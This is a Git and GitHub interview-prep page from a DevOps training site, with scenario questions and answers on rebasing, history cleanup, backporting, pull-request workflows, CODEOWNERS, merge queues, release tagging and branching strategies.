Why โ†’ Fixup commits are auto-ordered and squashed, so history reads as if the code was right the first time.

Interview tip โ†’ Some teams prefer review fixup commits until approval to ease re-review. Know both.

Copy link
Q57

During a rebase, "ours" and "theirs" seem backwards. Why?

Intermediate

Situation read โ†’ Rebase replays your commits onto the target, so Git checks out the target and applies your commits one by one.

What I'd do โ†’

  1. Remember: during rebase, "ours" is the branch being rebased onto (upstream), "theirs" is your commit being replayed.
  2. To keep your change: git checkout --theirs file.
  3. To keep upstream's version: git checkout --ours file.
  4. git add file && git rebase --continue.

Why โ†’ Git's internal "current branch" is the detached rebase target, so the labels flip compared to merge.

Interview tip โ†’ A good interviewer answer: "I avoid the words and read the diff instead".

Copy link
Q58

A commit from three days ago should never have been made. How do you remove it from your private branch?

Intermediate

Situation read โ†’ The commit is in the middle of history and unshared.

What I'd do โ†’

  1. git rebase -i <bad-sha>^.
  2. Change pick to drop on that line (or delete it).
  3. Resolve conflicts from later commits that depended on it.
  4. git push --force-with-lease.

Why โ†’ Rebase replays everything except the dropped commit. If the branch is shared, use git revert instead.

Interview tip โ†’ Ask whether anyone else has the branch before dropping anything.

Copy link
Q59

You committed for a month with the wrong email address. How do you fix authorship?

Intermediate

Situation read โ†’ Commits carry author and committer identity that you can rewrite only by creating new commits.

What I'd do โ†’

  1. Fix config: git config user.email "[email protected]".
  2. Unpushed or private branch: git rebase -r --root --exec 'git commit --amend --no-edit --reset-author'.
  3. Whole repo with a mapping: use git filter-repo --mailmap mailmap.txt.
  4. Force-push, and warn collaborators to re-clone.

Why โ†’ Identity is part of the commit hash, so changing it changes every descendant SHA.

Interview tip โ†’ For display-only fixes, a .mailmap file changes git log and shortlog output without rewriting history.

Copy link
Q60

You want to rebase a branch that contains merge commits without flattening them.

Advanced

Situation read โ†’ Default rebase drops merge commits and linearises the commits.

What I'd do โ†’

  1. git rebase --rebase-merges origin/main (-r) recreates the merge topology.
  2. Check the todo list: it shows label, reset, merge commands.
  3. Resolve conflicts inside the rebuilt merges as they appear.
  4. Compare afterwards: git range-diff origin/main@{1}...HEAD.

Why โ†’ --rebase-merges replaces the old --preserve-merges, which was removed because it handled interactive edits badly.

Interview tip โ†’ git range-diff shows what really changed between two versions of a rewritten branch.

Copy link
Q61

You rebased and force-pushed a branch your teammate also had checked out. What does he do now?

Advanced

Situation read โ†’ His local branch has the old commits, the remote has new ones. A normal git pull will merge both and duplicate commits.

What I'd do โ†’

  1. If he has no local commits: git fetch && git reset --hard origin/feature.
  2. If he has local commits: git rebase --onto origin/feature <old-remote-tip> feature, where the old tip comes from git reflog show origin/feature.
  3. Or git pull --rebase, which uses the fork-point to drop the duplicates automatically.

Why โ†’ Git needs to know which of his commits are already rewritten upstream. Fork-point detection uses the reflog.

Interview tip โ†’ Better still: announce before rewriting shared branches, or avoid doing it.

Copy link
Q62

You rebased 12 commits and want to be sure every commit still builds.

Intermediate

Situation read โ†’ Rebase can leave intermediate commits broken even if the tip works.

What I'd do โ†’

  1. git rebase -i --exec "make build && make test" origin/main.
  2. Rebase stops at the first failing commit; fix it, git commit --amend, then git rebase --continue.
  3. For a CI check, run each commit: git rebase --exec "./ci.sh" origin/main.

Why โ†’ Every commit being green keeps git bisect trustworthy.

Interview tip โ†’ Linux-style projects require "bisectable" series. Mention this as the reason.

Copy link
Q63

The repo is slow to clone because someone committed a 1 GB dataset two years ago and deleted it later. How do you shrink it?

Intermediate

Situation read โ†’ Deleting a file in a later commit leaves it in history forever.

What I'd do โ†’

  1. Find big blobs: git rev-list --objects --all | git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' | sort -k3 -n -r | head.
  2. On a fresh mirror clone: git filter-repo --path data/big.csv --invert-paths.
  3. Force-push all refs, then have everyone re-clone.
  4. Ask GitHub Support to run garbage collection on cached views if needed.

Why โ†’ Only rewriting history removes the blob, and that changes SHAs for everything after it.

Interview tip โ†’ Plan the re-clone communication. Open PRs will have to be recreated.

Copy link
Q64

An older commit message is poor and the branch is private. How do you reword it?

Beginner

Situation read โ†’ Only the message of a past commit needs to change.

What I'd do โ†’

  1. git rebase -i HEAD~6.
  2. Change pick to reword for the target commit.
  3. Save, then edit the message in the editor that opens.
  4. git push --force-with-lease if the branch was pushed.

Why โ†’ Reword replays that commit with a new message and updates descendants.

Interview tip โ†’ For only the last commit, git commit --amend is enough.

Copy link
Q65

Your history is full of "Merge branch 'main' into feature" noise from git pull.

Beginner

Situation read โ†’ Plain git pull merges upstream into your local commits, creating a merge commit each time.

What I'd do โ†’

  1. git config --global pull.rebase true makes pull replay your commits on top.
  2. Or git config --global pull.ff only to refuse non-fast-forward pulls and decide consciously.
  3. Fix an existing branch with git rebase origin/main.

Why โ†’ Rebase keeps local work on top of upstream, giving a linear branch.

Interview tip โ†’ Newer Git warns until you set pull.rebase, so setting it is part of a good global config.

Copy link
Q66

A cherry-pick hits conflicts and you are unsure about it.

Beginner

Situation read โ†’ The target branch has diverged from where the commit was made.

What I'd do โ†’

  1. git status shows the conflicted files; look at what the commit intended with git show <sha>.
  2. Resolve, git add, then git cherry-pick --continue.
  3. If it is too different: git cherry-pick --abort and ask whether a manual port is better.

Why โ†’ Cherry-pick is a three-way merge using the commit's parent as the base.

Interview tip โ†’ Heavy conflicts usually mean the fix needs a manual backport, not a mechanical one.

Copy link
Q67

You backported fixes by cherry-pick and now want to know which commits on main are still missing from release/5.0.

Intermediate

Situation read โ†’ SHAs differ after cherry-picks, so normal log ranges lie.

What I'd do โ†’

  1. git cherry -v release/5.0 main lists commits on main with + (not in release) or - (equivalent patch present).
  2. Or git log --oneline --cherry-pick --right-only release/5.0...main.
  3. Review the + list and decide what to backport.

Why โ†’ Both commands compare patch-ids (a hash of the diff), not commit SHAs.

Interview tip โ†’ Patch-id matching breaks if conflict resolution changed the diff, so spot check.

Copy link
Q68

You accidentally merged main into your feature branch three times and want a linear branch again.

Intermediate

Situation read โ†’ Merge commits are cluttering a branch that should be a clean series.

What I'd do โ†’

  1. git fetch origin.
  2. git rebase origin/main (without -r) drops the merges and replays only your own commits.
  3. Resolve conflicts once per commit.
  4. git push --force-with-lease.

Why โ†’ Default rebase ignores merge commits and picks the non-merge commits in the range.

Interview tip โ†’ If a merge itself had hand-resolved conflicts, check the final diff carefully, since that resolution may be lost.

Copy link
Q69

One service in the monorepo must become its own repo, with its history.

Advanced

Situation read โ†’ You need only the commits that touched services/billing, with paths moved to the root.

What I'd do โ†’

  1. Fresh clone: git clone --no-local monorepo billing && cd billing.
  2. git filter-repo --subdirectory-filter services/billing.
  3. Add the new remote and push all branches and tags.
  4. In the monorepo, remove the directory and point to the new repo (or add it as a submodule or package dependency).

Why โ†’ filter-repo rewrites quickly and keeps only relevant history. Never run it on your working clone.

Interview tip โ†’ Plan CI, issue transfer, and CODEOWNERS for the new repo as part of the split.

Copy link
Q70

You have stacked branches (A, B, C) and need to rebase the whole stack after A changes.

Advanced

Situation read โ†’ Rebasing only the top branch leaves A and B pointing at old commits.

What I'd do โ†’

  1. Check out the top branch C.
  2. git rebase -i --update-refs origin/main (Git 2.38+); the todo list updates A and B pointers too.
  3. Push all: git push --force-with-lease origin A B C.
  4. Or use tooling such as gh stack-style helpers, Graphite or ghstack for larger stacks.

Why โ†’ --update-refs moves every branch whose tip is inside the rebased range.

Interview tip โ†’ Stacks keep PRs small but need discipline: merge bottom-up and retarget as you go.

Copy link
Q71

A rebase stops with "The previous cherry-pick is now empty". What do you do?

Intermediate

Situation read โ†’ The commit's change is already present upstream (someone applied the same fix), so replaying it yields nothing.

What I'd do โ†’

  1. If it is truly a duplicate: git rebase --skip.
  2. To handle this automatically: git rebase --empty=drop origin/main.
  3. To keep it as an empty marker commit: git commit --allow-empty then continue.

Why โ†’ Git stops by default so you consciously confirm that nothing is lost.

Interview tip โ†’ Verify with git diff HEAD that the upstream content matches your intent before skipping.

Copy link
Q72

You must backport 15 commits to three old release branches. How do you make it repeatable?

Advanced

Situation read โ†’ Doing 45 cherry-picks by hand is error-prone.

What I'd do โ†’

  1. Collect the commits in order: git rev-list --reverse --no-merges <range> > picks.txt.
  2. Script it per branch:
bash
for br in release/3.8 release/3.9 release/4.0; do
  git switch -c "backport-$br" "origin/$br"
  xargs -n1 git cherry-pick -x < picks.txt || break
  git push origin "backport-$br"
  gh pr create --base "$br" --fill
done
  1. Stop on the first conflict and fix by hand; let CI test each PR.
  2. Prefer a bot (GitHub Action with labels such as backport 4.0) for the long run.

Why โ†’ Oldest-first order matters, since later commits assume earlier ones.

Interview tip โ†’ Mention using PR labels to trigger automated backports.

Copy link
Q73

Compliance asks that every commit on a release branch be signed. Many are not.

Advanced

Situation read โ†’ Signing requires rewriting commits, so this is only possible on unshared or new work.

What I'd do โ†’

  1. Configure signing first: git config gpg.format ssh and user.signingkey.
  2. For a private branch: git rebase --exec 'git commit --amend --no-edit -S' origin/main.
  3. For history already shared, do not rewrite. Instead, require signatures from now on via branch protection.
  4. Verify: git log --show-signature -5.

Why โ†’ Signatures cover the commit content including parents, so retroactive signing changes every SHA.

Interview tip โ†’ Rewriting released history breaks tags and downstream references, so policy goes forward only.

Copy link
Q74

You committed to feature-a but the commit belongs on feature-b, and feature-a has other commits after it.

Intermediate

Situation read โ†’ One commit is in the wrong place in the middle of unpushed history.

What I'd do โ†’

  1. git switch feature-b && git cherry-pick <sha>.
  2. Back on feature-a: git rebase -i <sha>^ and drop the commit.
  3. Resolve conflicts if later commits relied on it.

Why โ†’ Cherry-pick copies it to the right branch, and rebase removes the original.

Interview tip โ†’ If the branches are pushed and shared, revert instead of dropping.

Copy link
Q75

You have a 60-commit branch full of experiments and need a reviewable PR.

Intermediate

Situation read โ†’ The final tree is good but the history is unreadable.

What I'd do โ†’

  1. Keep a backup: git branch experiment-backup.
  2. git reset --soft $(git merge-base origin/main HEAD) collapses everything into staged changes.
  3. Re-commit in logical pieces using git add -p: schema, core logic, API, tests, docs.
  4. Force-push the cleaned branch.

Why โ†’ You build the story you want reviewers to follow, with tests passing at each step.

Interview tip โ†’ Alternatively, offer several smaller PRs. Reviewers handle those much better.

Copy link

Remotes, Collaboration and Pull Requests

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q76

You are new to a team. How do you collaborate daily without stepping on others' toes?

Beginner

Situation read โ†’ The risk is stale branches and surprise conflicts.

What I'd do โ†’

  1. Start each task from fresh main: git fetch && git switch -c feature/ABC-123 origin/main.
  2. Commit small and often; push early so CI and teammates see it.
  3. Before opening a PR: git fetch && git rebase origin/main, run tests.
  4. Never push directly to main; always use a PR.

Why โ†’ Short-lived branches have small diffs, so conflicts are smaller and rarer.

Interview tip โ†’ Say "fetch first, then decide merge or rebase", not blind git pull.

Copy link
Q77

You are migrating a repo from Bitbucket to GitHub and must keep every branch and tag.

Intermediate

Situation read โ†’ A normal clone only fetches some refs as local branches. A mirror copies everything.

What I'd do โ†’

  1. git clone --mirror [email protected]:org/app.git && cd app.git.
  2. Create the empty repo on GitHub, then git push --mirror [email protected]:org/app.git.
  3. Large files above 100 MB will be rejected; convert them with git lfs migrate import first.
  4. Update CI, webhooks and local remotes: git remote set-url origin ....

Why โ†’ --mirror copies all refs exactly, including remote branches and notes.

Interview tip โ†’ Pull requests and issues do not travel with Git; use the GitHub Importer or API tools.

Copy link
Q78

You want to contribute a fix to an open-source project you do not have write access to.

Beginner

Situation read โ†’ The standard path is fork, branch, pull request.

What I'd do โ†’

  1. Fork on GitHub: gh repo fork OWNER/REPO --clone.
  2. git switch -c fix/typo-in-readme.
  3. Commit following the project's CONTRIBUTING.md (sign-off, tests, style).
  4. git push -u origin fix/typo-in-readme, then gh pr create.

Why โ†’ You push to your fork and the PR proposes the merge into the upstream repo.

Interview tip โ†’ Read the contribution guide and open an issue first for larger changes.

Copy link
Q79

A teammate sent a 3,000-line PR and nobody can review it properly.

Intermediate

Situation read โ†’ Review quality drops sharply above a few hundred lines.

What I'd do โ†’

  1. Ask the author to split it along natural seams: refactor, schema, feature, tests.
  2. Land mechanical changes (renames, moves, formatting) first as separate PRs.
  3. Use feature flags to merge incomplete work safely behind a switch.
  4. Set up a PR size label or a soft limit in CI to nudge future PRs.

Why โ†’ Small PRs get faster, deeper review and are easier to revert.

Interview tip โ†’ Offer to pair with the author on the split, which keeps the tone constructive.

Copy link
Q80

A reviewer asks for changes. How do you update the PR cleanly?

Beginner

Situation read โ†’ The PR updates automatically when you push to its branch.

What I'd do โ†’

  1. Make the changes locally and commit them.
  2. git push (no force needed for plain commits).
  3. Reply to each comment and resolve threads you have addressed.
  4. Re-request review using the "Re-request" icon.

Why โ†’ New commits show up in the PR timeline, so reviewers can see what changed since their review.

Interview tip โ†’ Avoid force-pushing mid-review unless the team agreed, since it can hide incremental changes.

Copy link
Q81

Your team wants stacked PRs so that large work arrives in small reviewable steps. How do you set it up?

Advanced

Situation read โ†’ Each PR depends on the one below, so base branches and merge order matter.

What I'd do โ†’

  1. Branch chain: feat-1 from main, feat-2 from feat-1, feat-3 from feat-2.
  2. PR bases: feat-1 โ†’ main, feat-2 โ†’ feat-1, feat-3 โ†’ feat-2.
  3. Merge bottom-up. When the base branch is deleted after merging, GitHub retargets the next PR to main.
  4. Rebase upstream branches with git rebase --update-refs after changes or squash merges.
  5. Consider tooling (Graphite, ghstack, git-branchless) when stacks are common.

Why โ†’ Reviewers see only a small diff per PR, even though the work is large.

Interview tip โ†’ Squash merging forces rebase --onto for the next layer, so mention it.

Copy link
Q82

Why do you use --force-with-lease, and when does it still hurt?

Intermediate

Situation read โ†’ After rebasing, you must overwrite the remote branch, but you want protection against deleting a teammate's new commits.

What I'd do โ†’

  1. git push --force-with-lease origin feature.
  2. Pin the expected tip for more safety: --force-with-lease=feature:<sha>; add --force-if-includes (Git 2.30+).
  3. Avoid running git fetch in the background (IDE auto-fetch) before pushing, because that updates the remote-tracking ref and defeats the lease check.

Why โ†’ The push only succeeds if the remote ref still equals what you last saw.

Interview tip โ†’ Plain --force never checks anything, so ban it on shared branches.

Copy link
Q83

Management wants the default branch renamed from master to main without breaking everyone.

Intermediate

Situation read โ†’ Clones, CI, deployment scripts and PRs all reference the name.

What I'd do โ†’

  1. Rename in GitHub: Settings โ†’ Branches, or gh api -X POST repos/ORG/REPO/branches/master/rename -f new_name=main. Open PRs retarget and GitHub redirects some operations.
  2. Search the repo for hard-coded names in CI files, Dockerfiles and docs.
  3. Each developer runs:
bash
git branch -m master main
git fetch origin
git branch -u origin/main main
git remote set-head origin -a
  1. Update branch protection rules and deployment triggers.

Why โ†’ The server rename is easy; the long tail is automation referring to the old name.

Interview tip โ†’ Announce a date and keep a checklist.

Copy link
Q84

The organisation renamed, and your remote URL is now stale.

Beginner

Situation read โ†’ GitHub redirects old URLs for a while, but you should update.

What I'd do โ†’

  1. git remote -v to confirm the current URL.
  2. git remote set-url origin [email protected]:new-org/app.git.
  3. git fetch to verify connectivity.
  4. Update CI secrets, submodule URLs (.gitmodules) and package references.

Why โ†’ Redirects break if a new repo is created with the old name.

Interview tip โ†’ Check .gitmodules and then run git submodule sync.

Copy link
Q85

A colleague pushed feature/search and you want to work on it.

Beginner

Situation read โ†’ You only have a remote-tracking ref until you create a local branch.

What I'd do โ†’

  1. git fetch origin.
  2. git switch feature/search (Git DWIMs a tracking branch when the name matches exactly one remote).
  3. Or explicitly: git switch -c feature/search --track origin/feature/search.
  4. Confirm with git branch -vv.

Why โ†’ A tracking branch lets git pull and git push know their default target.

Interview tip โ†’ Talk to your colleague before pushing to their branch.

Copy link
Q86

A CI job clones a 10 GB repo on every run and takes 8 minutes. How do you speed it up?

Intermediate

Situation read โ†’ CI rarely needs full history.

What I'd do โ†’

  1. Shallow clone: git clone --depth 1 --branch main URL. In GitHub Actions, actions/checkout defaults to fetch-depth: 1.
  2. Skip file contents until needed: git clone --filter=blob:none (partial clone).
  3. Limit the tree with git sparse-checkout set services/api.
  4. Cache the repo between runs on persistent runners.

Why โ†’ Less data transferred means less time. Only jobs that need history (changelogs, git describe, bisect) set fetch-depth: 0.

Interview tip โ†’ Mention the blob-less partial clone for large monorepos.

Copy link
Q87

You want to test a colleague's PR on your machine.

Beginner

Situation read โ†’ You need the PR's branch locally, even if it comes from a fork.

What I'd do โ†’

  1. gh pr checkout 482.
  2. Without gh: git fetch origin pull/482/head:pr-482 && git switch pr-482.
  3. Run tests and review with real tooling.
  4. Delete the branch afterwards: git branch -D pr-482.

Why โ†’ GitHub exposes every PR at refs/pull/<n>/head, regardless of origin.

Interview tip โ†’ refs/pull/<n>/merge shows the tentative merge result with the base branch.

Copy link
Q88

Two developers need to work on the same feature branch simultaneously.

Intermediate

Situation read โ†’ Shared branches need tight rules to avoid rewrite pain.

What I'd do โ†’

  1. Agree: no rebase or force-push on the shared branch.
  2. Both run git pull --rebase before each push (rebases only local unpushed commits).
  3. Split by file or module to reduce conflicts, and commit small.
  4. Alternative: each dev uses a personal branch off the feature branch and PRs into it.

Why โ†’ Rebasing only your unpushed commits is safe, and rewriting published ones is not.

Interview tip โ†’ Personal sub-branches are the cleanest answer.

Copy link
Q89

An outside contributor's PR from a fork should run CI, but your workflow needs secrets.

Advanced

Situation read โ†’ Secrets are not passed to workflows triggered by fork PRs, for good reason: the fork's code is untrusted.

What I'd do โ†’

  1. Keep pull_request for tests that need no secrets. Fork PRs get a read-only token.
  2. For label or comment automation, use pull_request_target only if you never check out or run PR code with it.
  3. Require approval for first-time contributors (Settings โ†’ Actions โ†’ Fork pull request workflows).
  4. For real integration tests, a maintainer pushes the contributor's commit to a branch in the main repo after review.

Why โ†’ pull_request_target runs in the base repo's context with secrets. Running untrusted code there is a well-known compromise path.

Interview tip โ†’ Name "pwn request" as the risk. It signals real security awareness.

Copy link
Q90

Two engineers pair-programmed and you want both credited on the commit.

Beginner

Situation read โ†’ A commit has one author but can credit others with trailers.

What I'd do โ†’

  1. Add a trailer at the end of the message, after a blank line:
text
Add retry to webhook sender

Co-authored-by: Priya Sharma <[email protected]>
  1. Use an email linked to their GitHub account so the avatar shows.
  2. On squash merges, GitHub keeps these trailers in the final commit message.

Why โ†’ GitHub parses Co-authored-by and credits both in the UI and contribution graph.

Interview tip โ†’ Verify the trailer survives when the squash message is edited.

Copy link
Q91

A PR was merged into the wrong base branch (develop instead of main).

Intermediate

Situation read โ†’ The change is live in the wrong place and may already trigger a deploy.

What I'd do โ†’

  1. If develop is shared: git revert -m 1 <merge-sha> (or revert the squash commit) and push.
  2. Open the correct PR against main from the original branch.
  3. If the revert then blocks the re-merge, revert the revert when you want it back on develop.
  4. Check what deployments ran and roll back if needed.

Why โ†’ Reverting keeps the shared history intact and avoids force-pushes.

Interview tip โ†’ Prevention: restrict who can change PR base, and protect both branches.

Copy link
Q92

main is busy, and PRs that passed CI break main after merging because of semantic conflicts.

Advanced

Situation read โ†’ Each PR was tested against an older main, not the real post-merge state.

What I'd do โ†’

  1. Enable the GitHub merge queue on main. It builds each PR on top of the queue ahead of it.
  2. Add merge_group as a trigger to the CI workflow, otherwise the queue never gets results.
yaml
on:
  pull_request:
  merge_group:
  1. Set required status checks to those jobs; tune batch size and timeout.
  2. Fallback without a queue: "Require branches to be up to date before merging".

Why โ†’ The queue tests exactly what will land, in the order it will land.

Interview tip โ†’ "Up to date" requirement forces serial rebases; the merge queue scales better.

Copy link
Q93

How do you make sure the right people review changes to payments code?

Intermediate

Situation read โ†’ Review ownership must be automatic, not a convention.

What I'd do โ†’

  1. Add .github/CODEOWNERS:
text
/services/payments/   @acme/payments-team
*.tf                  @acme/platform
  1. Turn on "Require review from Code Owners" in branch protection.
  2. Make owners teams, not individuals, to survive vacations and departures.
  3. Use draft PRs while work is in progress to avoid early review requests.

Why โ†’ The rule is enforced at merge time, so ownership cannot be skipped.

Interview tip โ†’ Later patterns override earlier ones in CODEOWNERS; order matters.

Copy link
Q94

An external contributor's PR has conflicts, but they are unresponsive. What do you do as a maintainer?

Intermediate

Situation read โ†’ The change is valuable but stuck.

What I'd do โ†’

  1. If "Allow edits by maintainers" is on, check out the PR with gh pr checkout <n>.
  2. git fetch origin && git rebase origin/main (or merge), resolve conflicts and test.
  3. git push to the contributor's branch; the PR updates and keeps their authorship.
  4. If edits are disabled, re-create the work on your branch and keep their commits with Co-authored-by.

Why โ†’ Preserving authorship respects the contributor and keeps the contribution history honest.

Interview tip โ†’ Thank them in the PR; it matters for open-source community health.

Copy link
Q95

You want a PR merge to close an issue automatically.

Beginner

Situation read โ†’ GitHub supports closing keywords.

What I'd do โ†’

  1. In the PR description or a commit message, write Closes #231 (also Fixes, Resolves).
  2. Use Closes ORG/REPO#231 for another repo.
  3. Merge into the default branch; the issue closes automatically.
  4. Or link manually in the PR's Development sidebar.

Why โ†’ Closing keywords only fire when the PR targets the default branch.

Interview tip โ†’ For release branches, close issues manually or via workflow.

Copy link
Q96

After a PR merged and the branch was deleted on GitHub, git pull complains about your branch.

Beginner

Situation read โ†’ Your local branch tracks a remote branch that no longer exists ([gone]).

What I'd do โ†’

  1. git fetch --prune clears the stale remote-tracking ref.
  2. git branch -vv shows branches marked : gone].
  3. Delete them: git branch -D old-feature.
  4. Set git config --global fetch.prune true.

Why โ†’ Git never deletes remote-tracking refs unless asked.

Interview tip โ†’ A one-liner to clean all gone branches is useful, but check the list first.

Copy link
Q97

A new developer joins. What Git setup do you walk them through on day one?

Beginner

Situation read โ†’ Good defaults prevent a pile of avoidable mistakes.

What I'd do โ†’

  1. Identity: git config --global user.name and user.email matching their GitHub account.
  2. Auth: SSH key or gh auth login; add the key to GitHub.
  3. Sane defaults: init.defaultBranch main, pull.rebase true, fetch.prune true, rerere.enabled true.
  4. Commit signing, editor, and the team's PR template and branching rules.
  5. Clone and run the repo's bootstrap script (hooks installed by pre-commit install or similar).

Why โ†’ Identical defaults across the team means fewer "works on my machine" Git problems.

Interview tip โ†’ Keep this in an onboarding doc in the repo, not in people's heads.

Copy link
Q98

You use a personal and a work GitHub account on one laptop.

Intermediate

Situation read โ†’ SSH picks the first matching key, which authenticates as the wrong user.

What I'd do โ†’

  1. Create two keys and add each to its own account.
  2. In ~/.ssh/config:
text
Host github-work
  HostName github.com
  User git
  IdentityFile ~/.ssh/id_ed25519_work
  IdentitiesOnly yes
  1. Clone with git@github-work:ORG/repo.git.
  2. Set the email per directory with includeIf "gitdir:~/work/" in ~/.gitconfig.

Why โ†’ The alias selects the key, and IdentitiesOnly stops the agent from offering others.

Interview tip โ†’ includeIf avoids committing work code with your personal email.

Copy link
Q99

PR #2 was based on PR #1's branch, and #1 has just been merged. What happens to #2?

Intermediate

Situation read โ†’ PR #2's base branch may disappear, so GitHub must decide where it points.

What I'd do โ†’

  1. If "delete branch on merge" is on, GitHub retargets #2 to the base of #1 (usually main).
  2. If #1 was squashed, rebase: git rebase --onto origin/main <old-#1-tip> feature-2.
  3. Force-push with lease and check the diff only contains #2's changes.
  4. Re-run CI.

Why โ†’ Without the rebase, the squash commit and the original commits both look like changes.

Interview tip โ†’ Merge strategy affects stacked workflows; say that out loud.

Copy link
Q100

You are asked to create release notes for every release without hand-writing them.

Beginner

Situation read โ†’ PR titles and labels already carry the info.

What I'd do โ†’

  1. Create a release with generated notes: gh release create v2.4.0 --generate-notes.
  2. Customise grouping with .github/release.yml, categories by label (feature, bug, breaking).
  3. Enforce labels on PRs with a workflow or a template.
  4. Use Conventional Commits with a tool like release-please if you want automated versioning.

Why โ†’ Notes come from merged PRs, so quality depends on good PR titles.

Interview tip โ†’ Show you know that consistent PR titles are the real investment.

Copy link

Branching Strategies and Releases

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q101

An eight-person team deploys several times a day. Which branching strategy do you recommend?

Intermediate

Situation read โ†’ High deploy frequency favours short feedback loops and small integrations.

What I'd do โ†’

  1. Trunk-based development: short-lived branches (under two days) merged to main through PRs.
  2. Every merge to main must be deployable; CI gates it.
  3. Hide unfinished work behind feature flags.
  4. Cut release branches or tags only when a release needs stabilising.

Why โ†’ Long-lived branches hide integration pain until late. Trunk-based moves that pain to every day when it is small.

Interview tip โ†’ DORA research links trunk-based development and frequent small merges with better delivery performance.

Copy link
Q102

When would you choose GitFlow over trunk-based development?

Intermediate

Situation read โ†’ The right model depends on how software is shipped.

What I'd do โ†’

  1. GitFlow fits scheduled releases and several supported versions: mobile apps, on-prem or packaged software.
  2. Trunk-based fits SaaS with continuous deployment.
  3. If we adopt GitFlow, keep it light: main, develop, short release/* and hotfix/* branches, and skip long feature branches.
  4. Automate merge-back from release and hotfix branches to avoid divergence.

Why โ†’ GitFlow's overhead pays off only when you must maintain parallel release lines.

Interview tip โ†’ Show you know the author of GitFlow himself said it is a poor fit for continuously delivered web apps.

Copy link
Q103

In trunk-based development, a feature will take three weeks. How do you merge it daily without exposing it?

Intermediate

Situation read โ†’ Branch lifetime must stay short, but the feature is not ready for users.

What I'd do โ†’

  1. Slice the work into small mergeable steps (schema, backend, API, UI).
  2. Wrap user-visible paths in a feature flag, default off.
  3. Merge each slice behind the flag; test both flag states in CI.
  4. Turn the flag on for staff, then a percentage, then everyone; remove the flag afterwards.

Why โ†’ Deployment and release become separate decisions, and rollback is a flag flip.

Interview tip โ†’ Mention flag clean-up as a real task, or flags rot into complexity.

Copy link
Q104

You are cutting a release. How do you manage the release branch and late fixes?

Intermediate

Situation read โ†’ The release needs stabilising while main keeps moving.

What I'd do โ†’

  1. git switch -c release/2.5 main and protect it.
  2. Only bug fixes go in; each is fixed on main first, then cherry-picked with -x.
  3. Tag release candidates: git tag -a v2.5.0-rc.1 -m "RC1".
  4. When ready, tag v2.5.0 on the release branch and publish.

Why โ†’ The branch freezes scope without freezing everyone's work.

Interview tip โ†’ Fix on main first so the next release does not regress.

Copy link
Q105

Should releases use lightweight or annotated tags?

Beginner

Situation read โ†’ Tags mark release points; the type decides what metadata they carry.

What I'd do โ†’

  1. Use annotated tags: git tag -a v1.8.0 -m "Release 1.8.0".
  2. Sign them if policy requires: git tag -s v1.8.0 -m "...".
  3. Push explicitly: git push origin v1.8.0 (or --follow-tags for annotated ones).
  4. Verify with git show v1.8.0.

Why โ†’ Annotated tags are full objects with tagger, date and message, and git describe prefers them. Lightweight tags are just refs.

Interview tip โ†’ git push does not send tags by default.

Copy link
Q106

A release tag was placed on the wrong commit and has been published. What do you do?

Intermediate

Situation read โ†’ Moving a published tag silently breaks anyone who fetched it and any artifact built from it.

What I'd do โ†’

  1. If nobody consumed it: delete and recreate:
bash
git tag -d v1.8.0
git push origin :refs/tags/v1.8.0
git tag -a v1.8.0 <right-sha> -m "Release 1.8.0"
git push origin v1.8.0
  1. If consumed, leave it and release v1.8.1 instead.
  2. Tell users; clients must run git fetch --tags --force.

Why โ†’ Git never updates an existing tag on fetch without force, so users silently keep the wrong one.

Interview tip โ†’ "Tags are immutable by policy" is the answer most teams adopt; enforce it with a tag ruleset.

Copy link
Q107

Production has a bug, but main already contains unreleased features. How do you ship a hotfix?

Intermediate

Situation read โ†’ Deploying main would ship unfinished work.

What I'd do โ†’

  1. Branch from the production tag: git switch -c hotfix/1.8.1 v1.8.0.
  2. Apply the minimal fix, test, and tag v1.8.1; deploy that tag.
  3. Port the fix to main: git cherry-pick -x or merge the hotfix branch forward.
  4. Write a short post-incident note linking both PRs.

Why โ†’ The hotfix ships only the fix; main gets it later so it is not lost.

Interview tip โ†’ Feature flags reduce hotfix branches, since you can often disable the new feature instead.

Copy link
Q108

A team uses long-lived dev, qa and prod branches with merges between them. What goes wrong?

Advanced

Situation read โ†’ Environment branches mix "what code" with "where deployed", and they drift.

What I'd do โ†’

  1. Explain the failure modes: hotfixes made in prod never return, cherry-picks differ per branch, and "what is in prod" depends on merge order.
  2. Propose one trunk, build one immutable artifact per commit, and promote the same artifact through environments.
  3. Store environment differences as config (Helm values, Terraform vars, env-specific files), not branches.
  4. Migrate gradually: freeze environment branches, merge all into main, switch pipelines to promote by SHA.

Why โ†’ What you test in QA should be byte-for-byte what reaches prod.

Interview tip โ†’ Say "promote artifacts, not branches".

Copy link
Q109

You must support versions 3.8, 3.9 and 4.0 simultaneously. How do you handle fixes?

Advanced

Situation read โ†’ Each fix potentially lands in four lines, so process must be cheap and traceable.

What I'd do โ†’

  1. Long-lived release/x.y branches, protected, receiving only fixes.
  2. Fix on main first. Label the PR with versions needing backport (backport-3.8).
  3. A bot (for example a GitHub Action) cherry-picks with -x and opens PRs per branch.
  4. Define an end-of-life policy and publish a support matrix.

Why โ†’ Label-driven automation turns backporting from a chore into review work.

Interview tip โ†’ Support windows are a product decision; push for a clear policy.

Copy link
Q110

A monorepo has five services released independently. How do you tag and release them?

Intermediate

Situation read โ†’ One global v1.2.3 tag cannot describe five independent versions.

What I'd do โ†’

  1. Prefix tags per service: billing/v2.3.0, auth/v1.9.4.
  2. Trigger service pipelines with tag filters:
yaml
on:
  push:
    tags: ['billing/v*']
  1. Use path filters so CI builds only changed services.
  2. Generate changelogs per path: git log billing/v2.2.0..billing/v2.3.0 -- services/billing.

Why โ†’ Prefixes keep tags unique and let tooling infer which pipeline to run.

Interview tip โ†’ Go modules in subdirectories use this exact tag convention.

Copy link
Q111

You want a published release and deployment to start whenever someone pushes a version tag.

Beginner

Situation read โ†’ The tag becomes the release trigger.

What I'd do โ†’

  1. Workflow trigger on tags:
yaml
on:
  push:
    tags: ['v*.*.*']
  1. Build the artifact, tag the image with the tag name and commit SHA.
  2. Create the GitHub release: gh release create "$GITHUB_REF_NAME" --generate-notes.
  3. Protect v* tags so only maintainers can create them.

Why โ†’ The pipeline is reproducible from a tag alone, and humans only decide when to tag.

Interview tip โ†’ Mention that tag creation permission is effectively release permission.

Copy link
Q112

